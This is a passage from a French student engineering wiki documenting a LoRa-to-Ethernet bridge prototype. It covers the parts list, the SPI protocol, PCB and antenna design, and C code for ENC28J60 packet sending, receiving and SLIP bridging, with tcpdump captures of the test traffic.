 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
